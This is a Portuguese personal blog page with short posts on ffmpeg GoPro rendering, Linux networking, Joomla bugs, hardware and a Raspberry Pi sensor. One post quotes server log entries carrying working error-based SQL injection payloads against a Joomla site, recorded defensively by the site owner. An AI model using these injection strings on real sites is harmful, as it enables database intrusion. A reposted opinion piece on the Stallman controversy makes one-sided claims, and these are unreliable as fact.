helio.loureiro.eng.br
  • Home
  • Unix
  • Linux
  • Blog
  • Python
  • Programação
  • Tudo
  • Suécia
  1. You are here:  
  2. Home

Os artigos mais lidos de 2025

  • Configurando traefik com ssh
  • Configurando o grafana alloy pra monitorar VMs
  • Acessos de robôs nos logs web
  • Configurando o teclado Keychron C3 no Linux
  • Parâmetros de compilação pra Go!

Home

Tempo de renderização

Details
Written by: Helio Loureiro
Category: Blog
Published: May 10, 2026
Hits: 2
  • ffmpeg
  • gopro

Um amigo perguntou quanto tempo levo pra fazer a renderização dos vídeos.

Então pegando como exemplo a última pedalada, foram 40.362 fotos tiradas a cada 0.5 segundo.

Rodei a renderização com time e esse foi o resultado:

 

Total: 229 minutos. 3 horas, 49 minutos e 12 segundos.

154 GB de disco usados.

Não é pouco coisa.

Atualizado script pra geração de vídeo com a GoPro

Details
Written by: Helio Loureiro
Category: Shell Scripts
Published: May 03, 2026
Hits: 115
  • ffmpeg
  • gopro
  • ffmpeg-cuda

Como eu já tinha descrito em Renderizando as fotos da GoPro em vídeo mpeg4 com ffmpeg e NVIDIA, eu gero imagens das pedaladas a cada 0.5 segundo atualmente, e uso ffmpeg pra juntar tudo e fazer o vídeo.

Recentemente fiz algumas melhoria pra além de gerar o vídeo e transformar em 1080p, também estabilizar.

E melhorei as mensagens.

O script está atualizado no CodeBerg:

https://codeberg.org/helioloureiro/homemadescripts/src/branch/master/render-video-from-gopro-photos.sh

E agora precisa de uma lib, a heliolib.sh (bem imaginativo o nome), que também está lá:

https://codeberg.org/helioloureiro/homemadescripts/src/branch/master/heliolib.sh

O resultado desse template de teste, com só 500 imagens (uma pedalada longa é geralmente algo em torno de 35.000-50.000 imagens), está aqui no YouTube:

Não é a versão inicial porque o tamanho segue o mesmo das imagens de 4000x3000 pixels.  Nem todo player consegue lidar com vídeo nesse formato.  E o YouTube acaba jogando pra 1080p.

Já o segundo vídeo, que é acelerado em 10x é esse aqui:

E finalmente o mesmo vídeo, mas estabilizado:

O estabilizado não fica lá muito melhor que o anterior, mas é bem mais rápido fazer com o ffmpeg-cuda e jogar pra GPU que deixar pra fazer depois no kdenlive.

 

 

Ataques no Joomla

Details
Written by: Helio Loureiro
Category: Joomla
Published: April 27, 2026
Hits: 127
  • security

Tenho recebidos vários ataques. E hoje eu percebi que um conseguiu passar pro cache do site.


{
  "time": "2026-04-27T02:26:01.602Z",
  "process": "338026",
  "filename": "/loureiro/index.php",
  "remoteIP": "104.209.8.138",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&start=481&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
  "referer": "-"
}
{
  "time": "2026-04-27T03:06:29.334Z",
  "process": "547775",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.240.225",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T04:13:48.938Z",
  "process": "1719898",
  "filename": "/loureiro/index.php",
  "remoteIP": "5.39.109.174",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&task=view&start=26",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T04:38:04.280Z",
  "process": "1364863",
  "filename": "/loureiro/index.php",
  "remoteIP": "170.79.185.158",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=169&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
  "referer": "https://helio.loureiro.eng.br/index.php?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=143&task=view"
}
{
  "time": "2026-04-27T04:38:20.526Z",
  "process": "33454",
  "filename": "/loureiro/index.php",
  "remoteIP": "217.199.226.8",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=169&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
  "referer": "https://helio.loureiro.eng.br/index.php?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=143&task=view"
}
{
  "time": "2026-04-27T05:08:21.162Z",
  "process": "459943",
  "filename": "/loureiro/index.php",
  "remoteIP": "51.195.183.127",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=52",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T05:12:55.699Z",
  "process": "243586",
  "filename": "/loureiro/index.php",
  "remoteIP": "51.89.129.94",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=377",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T05:25:00.517Z",
  "process": "406363",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.226.168",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=364",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:18:24.576Z",
  "process": "287085",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.183.180",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&task=view&start=117",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:40:43.198Z",
  "process": "155356",
  "filename": "/loureiro/index.php",
  "remoteIP": "54.38.147.143",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php/component/finder/search",
  "query": "?q=1/*!50000AND*/(/*!50000SELECT*/2*(IF((/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4119=4119,1))),'~','x'))s),/**/8446744073709551610,/**/8446744073709551610)))%20PROCEDURE%20ANALYSE(6670,1)--%20-&Itemid=101",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:58:26.393Z",
  "process": "530181",
  "filename": "/loureiro/index.php",
  "remoteIP": "54.38.147.108",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'))/*!50000AND*/(/*!50000SELECT*/2*(IF((/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7089=7089,1))),'~','x'))s),/**/8446744073709551610,/**/8446744073709551610)))%20AND%20(('q3G8xIn9'%20LIKE%20'q3G8xIn9&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}

Diminui o tempo de cache pra ver se isso segura a onda.  Mas provavelmente vou precisar configurar meu fail2ban pra esses regex.

Interface de rede dummy no Linux

Details
Written by: Helio Loureiro
Category: Linux
Published: April 27, 2026
Hits: 115
  • redes
  • network

Entre um teste e outro, algumas vezes preciso "emular" uma placa de rede extra com outro endereço IP.  E no LInux isso é possível fazer com o "dummy".

Pra criar, os comandos são os seguintes:


❯ sudo modprobe dummy
❯ sudo ip link add dummy0 type dummy
❯ sudo ip link set dummy0 up

E depois é só configurar.


❯ sudo ip addr add 10.5.4.186/32 dev dummy0

E usar.


❯ ip addr list dev dummy0
13: dummy0:  mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
    link/ether 7a:0d:87:9c:7e:ff brd ff:ff:ff:ff:ff:ff
    inet 10.5.4.186/32 scope global dummy0
       valid_lft forever preferred_lft forever
    inet6 fe80::780d:87ff:fe9c:7eff/64 scope link 
       valid_lft forever preferred_lft forever

Bom dummy pra vocês.

Tá voando!!!!

Details
Written by: Helio Loureiro
Category: Blog
Published: April 26, 2026
Hits: 130
  • NVIDIA
  • RTX 5060

A bichinha tá voando.  Eita placa porreta!

 

A imagem que foi descrita:

Mas nem tudos são flores.  Eu tenho um monitor extra do lado esquerdo.  E esse tem uma entrada DVI, que estava conectada na placa anterior, GTX 1050ti.  E como pra funcionar estou usando o driver open source mais atual, não funciona na placa velha.  O resultado é somente um monitor funcionando.

Já encomendei um cabo DVI-HDMI no Aliexpress.  Quando chegar, já removo também a placa antiga.

E vamos rodar nossos próprios modelos

Details
Written by: Helio Loureiro
Category: Blog
Published: April 26, 2026
Hits: 149
  • NVIDIA
  • RTX 5060

Se tudo der certo, vou conseguir usar pra treinar meus próprios modele e fazer alguma inferência nela.  Nada muito grande já que só 8 GB de RAM.  E algum jogo de vez em quando.

Uma excelente síntese do imbroglio sobre o Stallman

Details
Written by: Helio Loureiro
Category: Blog
Published: April 20, 2026
Hits: 245
  • FSF
  • stallman
  • rms
  • Free Software Foundation

Se você chegou hoje ao mundo do software livre, pode não estar a par do drama que passou o bom Dr., também conhecido como Richard Stallman.  Ou "rms" pros mais familares.  Durante a época do #meetoo, apareceram acusações contra ele.  A coisa toda virou um turbilhão que culminou com sua saída do MIT, onde morava.

Mas isso eu estou sintetizando demais.  Felizmente hoje o Alexandre Oliva postou uma excelente sumarização de tudo.  Tão boa que resolvi salvar aqui pra estar disponível pra posteridade.

contexto, que acho que não está no site:

epstein era um bilionário traficante de pessoas e de influência. entre os vários meios usados para acumular influência, fazia doações vultosas para instituições acadêmicas e patrocinava eventos científicos. além das atividades, digamos, curriculares, promovia atividades paralelas em que atuavam as escravas sexuais por ele traficadas e mantidas. pesquisadores capturados nessa rede abriam portas para ele, ou porque queriam mais dos favores recebidos, ou porque não queriam que suas aventuras viessem a público.

o MIT estava em polvorosa. um dos diretores havia recebido e disfarçado doações ilegais. um professor, então já falecido, havia sido citado nominalmente por uma das vítimas de tráfico humano. ela afirmava que havia sido orientada a se oferecer para ele numa conferência científica. protestos estavam sendo organizados no MIT por conta disso. muitas pessoas estavam justificavelmente furiosas com os abusos e com a participação de pessoas do MIT.

stallman escreveu, numa lista interna de um departamento onde se propunha adicionar o nome desse professor ao protesto, coisas controversas como que epstein era um estuprador em série, que mantinha um harém, e que provavelmente a vítima escravizada havia sido orientada a se oferecer ao professor como se estivesse genuinamente interessada.

alguém pegou parte da discussão nesse grupo e passou para uma pesquisadora que já estava justificadamente revoltada com os escândalos, e essa pessoa publicou, admitindo-se transtornada, um pôste em que afirmava que stallman havia sugerido que a vítima estivesse genuinamente interessada.

a atitude mais controversa de stallman, que despertou a ira dela e de outras tantas pessoas, foi não embarcar na busca figurativa de sangue de seja quem for para expiar os crimes de epstein. ele foi cauteloso e comedido em não condenar o professor e isso foi imperdoável naquele clima de caça às bruxas. (depois se descobriu que o professor, por sorte ou por cautela, foi acompanhado da esposa para a tal conferência científica, e recusou a oferta da vítima, dando razão à atitude de cautela e comedimento)

o pôste virou notícia, primeiro com relatos mais ou menos fieis ao que ele havia escrito, depois com distorções ainda maiores que as da estudante. um mesmo sítio de fofocas publicou uma matéria narrando os fatos e poucas horas depois outra afirmando até que ele defendia epstein! um horror de pseudojornalismo. mas bombou, bem no momento em que bill gates abafava um escândalo de pedofilia em sua mansão.

a insanidade da caça às bruxas prevaleceu e em poucos dias ele foi obrigado a renunciar de suas posições tanto de pesquisador visitante no MIT, onde morava, quanto da organização de software livre que fundou e presidiu até então, para protegê-la do escâdalo.

anos depois, tendo sido investigado e absolvido por quem se deu o trabalho, ele foi reconduzido à diretoria da organização de software livre. foi um novo escândalo quando pessoas inconformadas se uniram a interesses corporativos e publicaram uma carta aberta contra ele e toda a diretoria da organização.

pelo menos uma pessoa que participou da escrita da carta aberta depois teve a honradez de reconhecer que sabia que as alegações na carta não eram verdadeiras, e que sabia que não eram verdadeiras.

outra carta aberta apoiando a organização, sua diretoria e seu ex-presidente foi publicada e recebeu mais que o dobro de assinaturas que a carta mentirosa.

alguns anos depois, um novo ataque veio com novas interpretações fantasiosas de notícias e comentários que stallman publicara em seu blog de ativismo político tentava de alguma maneira associá-lo a pedofilia. um relatório que se pretendia anônimo teve em pouco tempo sua origem identificada como um ativista obcecado por tomar o lugar de stallman, aparentemente traumatizado por questões sexuais e viciado em consumir e traficar desenhos eróticos adolescentes. ficou claro que, no relatório, projetava em stallman suas próprias interpretações, pensamentos e desejos sobre práticas sexuais com crianças e adolescentes.

tenho saudades do tempo em que as empresas só atacavam stallman com bobagens como que ele não toma tanto banho quanto nós (porque vem de clima frio, onde isso é o normal), ou que ele é uma pessoa difícil de lidar (porque ele não se deixa enrolar, não cede em questões de princípio, e tem crises e meltdowns autistas mesmo não se identificando como tal).

as falsas alegações de perversões e abusos sexuais são muito mais injustas e muito mais daninhas, porque pessoas acreditam e reagem por cautela e horror, mesmo sem provas, e porque são muito mais difíceis de contestar e de desprovar. é terreno fértil para explorar pessoas preconceituosas e semear a discórdia e a injustiça nada desinteressada.

Excelente resumo.

O original está aqui:  https://snac.lx.oliva.nom.br/lxo/p/1776650481.265613

Alguns dos eventos não estão comentandos, como o que as mulheres do MIT foram à público reclamar que o bom Dr. era um pouco demais em seus flertes.  E como ele não gostava de plantas, colocavam plantas em suas salas pra o manter longe dali.  Assim como sua volta à FSF, que não foi lá muito bem recebida uma vez foi decida por um pequeno grupo dentro da mesma (o que mostra que a luta por liberdade não é necessariamente uma democracia), mas em geral descreve bem a situação.

Meu hackzinho em cima de ffmpeg-full-git do AUR

Details
Written by: Helio Loureiro
Category: Linux
Published: April 19, 2026
Hits: 159
  • ffmpeg
  • codeberg
  • archlinux
  • NVIDIA
  • ffmpeg-cuda
  • AUR

Eu tenho uma placa de vídeo relativamente antiga: NVIDIA GTX 1050ti.  Ela tem servido bem pro que preciso, mas deixa pra trás em alguns quesitos como rodar algum modelo mais complexo pelo ollama.  Mas complexo?  Nem os mais simples têm rodado.  Porém o meu maior uso é renderizar os vídeos das pedaladas.  Já escrevi o processo que faço aqui: Renderizando as fotos da GoPro em vídeo mpeg4 com ffmpeg e NVIDIA.

O problema surgiu quando a NVIDIA anunciou que abandonaria o suporte pra essa placa.  A solução?  Parar de usar o pacote do próprio archlinux e passar a usar um do AUR.  Até aí, sem grandes problemas.  Archlinux é feito pra esse tipo de coisa.  O problema foi que eu usava o pacote ffmpeg-cuda e esse parou de receber updates.

A primeira solução que tentei foi fazer o build do pacote ffmpeg-full-git.  Depois de trocentas horas compilando, erro.  E não consegui resolver.

Então parti pra uma solução própria: peguei o pacote do ffmpeg-full-git, removi boa parte do que precisa pra compilar, olhei o que tinha no ffmpeg-cuda e... voilá!  Pacote compilado.

E subi a solução toda pro codeberg, caso alguém também precise.

https://codeberg.org/helioloureiro/archlinux-ffmpeg-cuda

Eu vou precisar manter atualizado em algum momento.  Mas depois descubro como farei isso.  Um problema de cada vez.

Il nome della rosa birra

Details
Written by: Helio Loureiro
Category: Blog
Published: April 19, 2026
Hits: 176

Diretamente do fediverso:

Amei.  🐦‍⬛❤️

Joomla 6.1 ainda com alguns soluços

Details
Written by: Helio Loureiro
Category: Joomla
Published: April 19, 2026
Hits: 142
  • bug

Mexendo aqui e ali, ainda aperecem alguns bugs no meu Joomla 6.1.  O último é da imagem abaixo:

"Failed opening required '/var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapther.php' (include_path=´.:/usr/share/php')"

Encontrei uma referênci nesse link:

https://www.blog.nestict.com/fixing-joomla-error-failed-opening-required-com_finder-helpers-indexer-adapter-php-the-real-cause-and-solution/

Apesar de comentar sobre o mesmo erro, ainda assim não é o mesmo problema.  Não tenho o tal plugin.

O que fiz no momento foi buscar onde esse arquivo é referenciado:


$ rg "com_finder/helpers/indexer/adapter.php" /var/www/loureiro.eng.br
/var/www/loureiro.eng.br/plugins/finder/weblinks/weblinks.php
15:require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php';

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251212-144959-340716.log.php
24599:DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251228-175859-132763.log.php
24601:DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)

/var/www/loureiro.eng.br/administrator/components/com_admin/script.php
502:            //'/administrator/components/com_finder/helpers/indexer/adapter.php',

Achei uma referência de adapter.php com component pra admin:


$ fd adapter.php /var/www/loureiro.eng.br | grep administrator | grep components | grep com_finder
/var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php
/var/www/loureiro.eng.br/administrator/components/com_finder/src/Indexer/Adapter.php
/var/www/loureiro.eng.br/administrator/components/com_finder/src/Indexer/DebugAdapter.php

O primeiro ítem eu criei manualmente pra tentar coibir o erro.  Dentro não tem nada.  E não deu certo.

Então usei a segunda referência.  Comentei a linha e apontei pra onde existe um Adapter.php:


$ rg -A 1 "com_finder/helpers/indexer/adapter.php" /var/www/loureiro.eng.br
/var/www/loureiro.eng.br/plugins/finder/weblinks/weblinks.php
15://require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php';
16-require_once JPATH_ADMINISTRATOR . '/components/com_finder/src/Indexer/Adapter.php';

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251212-144959-340716.log.php
24599:DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)
24600-DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/helper.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/helper.php)

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251228-175859-132763.log.php
24601:DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)
24602-DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/helper.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/helper.php)

/var/www/loureiro.eng.br/administrator/components/com_admin/script.php
502:            //'/administrator/components/com_finder/helpers/indexer/adapter.php',
503-        '/administrator/components/com_finder/src/Indexer/Adapter.php',


O erro sumiu.

Por enquanto...

Update: é... não deu certo.  Ao tentar indexar pela busca rápida... xablau!

Cada dia mais Maddog

Details
Written by: Helio Loureiro
Category: Blog
Published: April 19, 2026
Hits: 173

Conforme o tempo passa, estou ficando mais e mais com a cara do Maddog.

 

E, claro, um motivo legal porque o Maddog é um cara excelente.

Dando um jeito no HD que fazia pipoca

Details
Written by: Helio Loureiro
Category: Linux
Published: April 10, 2026
Hits: 197
  • HDD

Your browser does not support the video tag.

Eu já fazia um tempo que um dos meus HDDs no desktop tava fazendo barulho de que estava estourando pipocas dentro.  E dando algumas mensagens de erro como essas aqui:

[   xx.xxxxxx] ata2.00: revalidation failed (errno=-5)
[   xx.xxxxxx] ata2.00: revalidation failed (errno=-5)

 E pra minha infelicidade era justamente o HDD novo de 8 TB que tinha comprado.  E atualmente não é uma época auspiciosa pra pensar em gastar em computador, com os preços duplicando de valor pra memórias e discos.

Mas dando uma buscada na Internet, encontrei o seguinte link:

https://superuser.com/questions/35984/booting-up-renders-error-ata1-00-revalidation-failed-errno-5-in-ubuntu

Então apliquei os parâmetros irqpoll all_generic_ide em /boot/default/grub, gerei uma configuração nova e rebootei.  E realmente resolveu a parada.

Segundo o link https://www.kernel.org/doc/html/v4.16/admin-guide/kernel-parameters.html :

When an interrupt is not handled search all handlers for it. Also check all handlers each timer interrupt. Intended to get systems with badly broken firmware running.

Ou seja, tava dando alguma zica de interrupção e aparentemente por conta de firmware zoado.

Sensor de temperatura no raspberry pi

Details
Written by: Helio Loureiro
Category: Python
Published: March 06, 2026
Hits: 239
  • temperatura
  • raspberrypi

rpi3 IMG 20260304 191114

Como eu descrevi no artigo anterior, atualizando a câmera do raspberry pi 3, eu comprei também um sensor de temperatura.  Não que eu precisasse, não que eu tenha um uso pra ele.  A janela aqui tem vedação dupla e não tem como eu colocar ele do lado de fora sem arrebentar alguma coisa ou da janela ou do sensor.  Então fica aqui dentro.

Pra ativar esse camarada, eu precisei rodar o raspi-config e habiltar a interface wire-1 em "interface options".  E depois rebootar.

Ele aparece habilitado no boot:

root@raspberrypi3 /h/pi [0|1]# dmesg | grep -i wire
[   15.395743] Driver for 1-wire Dallas network protocol.
[   15.466930] gpio-4 (onewire@0): enforced open drain please flag it properly in DT/ACPI DSDT/board file
[   15.497220] w1_master_driver w1_bus_master1: Attaching one wire slave 28.00000025630b crc 48
[   21.844564] Bluetooth: HCI UART protocol Three-wire (H5) registered

 No caso, ele mostra que conectei no GPIO-4.

Pra ler os dados é baba: tem uma interface do kernel que te dá em formato txt.  Basta ler o conteúdo de& /sys/bus/w1/devices/28-00000025630b/w1_slave.  Imagino que esse caminho deva mudar se usar um GPIO diferente.

pi@raspberrypi3 ~> cat /sys/bus/w1/devices/28-00000025630b/w1_slave 
31 01 7f 80 7f ff 0f 10 90 : crc=90 YES
31 01 7f 80 7f ff 0f 10 90 t=19062

O valor da temperatura é o que está na segunda linha junto com o "t=".  No caso mostra 19062, que é 19.062°C.

Pra ler em Python, o jeito mais baba possível:

#! /usr/bin/env -S uv run --script

TEMPERATURE_SENSOR = "/sys/bus/w1/devices/28-00000025630b/w1_slave"

def GetLocalTemperature() -> str | None:
    """
    pi@raspberrypi3 ~> cat /sys/bus/w1/devices/28-00000025630b/w1_slave
    17 01 7f 80 7f ff 09 10 01 : crc=01 YES
    17 01 7f 80 7f ff 09 10 01 t=17437
    """
    temp_item: str = ""
    with open(TEMPERATURE_SENSOR) as fh:
        for line in fh.readlines():
            if not re.search("t=", line):
                continue
            line = line.rstrip()
            temp_item = line.split()[-1]
    if len(temp_item) == 0:
        return None
    temp_int = temp_item.split("=")[-1]
    temp = int(temp_int) / 1000.0
    return f"{temp:0.2f}"
    
if __name__ == '__main__':
    temp = GetLocalTemperature()
    print(f"Temperature: {temp}°C")

Eu segui várias dicas de lugares aleatórios, mas o melhor foi esse aqui:

https://cdn-learn.adafruit.com/downloads/pdf/adafruits-raspberry-pi-lesson-11-ds18b20-temperature-sensing.pdf

  • Atualizando a câmera do raspberry pi 3
  • Goosfraba atualizado, em termos de estética
  • Uma Ferrari pra trabalhar
  • Melhorando o serviço de DNS automático da bolha
  • E Joomla 6.0.3 instalado

Page 1 of 39

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

Estatísticas

  • Users 2
  • Articles 507
  • Articles View Hits 3651585

Imagem aleatória